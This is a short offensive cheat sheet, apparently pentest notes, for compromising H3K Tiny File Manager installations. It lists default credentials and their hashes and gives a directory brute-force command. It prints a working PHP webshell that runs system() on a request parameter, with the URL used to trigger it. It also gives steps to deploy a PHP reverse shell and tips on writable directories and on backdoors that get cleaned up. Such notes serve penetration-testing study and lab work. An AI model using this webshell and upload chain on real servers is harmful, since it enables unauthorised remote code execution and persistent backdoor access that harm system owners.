Tiny File Manager

H3K Tiny File Manager - PHP-based web file manager.

Common Path: /tiny/ or /tinyfilemanager.php

---

Discovery

# Directory brute
feroxbuster -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Look for
/tiny/
/tiny/tinyfilemanager.php
/filemanager/

---

Default Credentials

Username	Password
admin	admin@123
user	12345

Nuclei template: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/default-logins/tiny-file-manager-default-login.yaml

---

Credential Hashes (from source)

If you can read the PHP source code, look for:

$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);

---

File Upload RCE

After login:

1. Navigate to writable directory (often /tiny/uploads/)

2. Upload PHP webshell

Simple backdoor:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Access:

http://TARGET/tiny/uploads/shell.php?cmd=id

Full reverse shell:

# Upload pentestmonkey php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# Edit IP/port, upload, browse to trigger

---

Path Disclosure

Clicking on files reveals full server path:

http://TARGET/tiny/tinyfilemanager.php?p=&view=filename.jpg

Displays:

Full path: /var/www/html/filename.jpg

---

Writable Directories

• Check /tiny/uploads/ - often writable

• Error message "specified folder isn't available for writing" = try subdirectories

• Use "New Folder" feature to find writable locations

---

Version Detection

Look in source or:

http://TARGET/tiny/tinyfilemanager.php?p=tiny&view=tinyfilemanager.php

Common vulnerable versions: 2.4.x

---

Notes

• Uploads may be cleaned periodically by cron

• If simple-backdoor.php disappears, use full reverse shell instead

• Check for .htaccess restrictions on uploaded files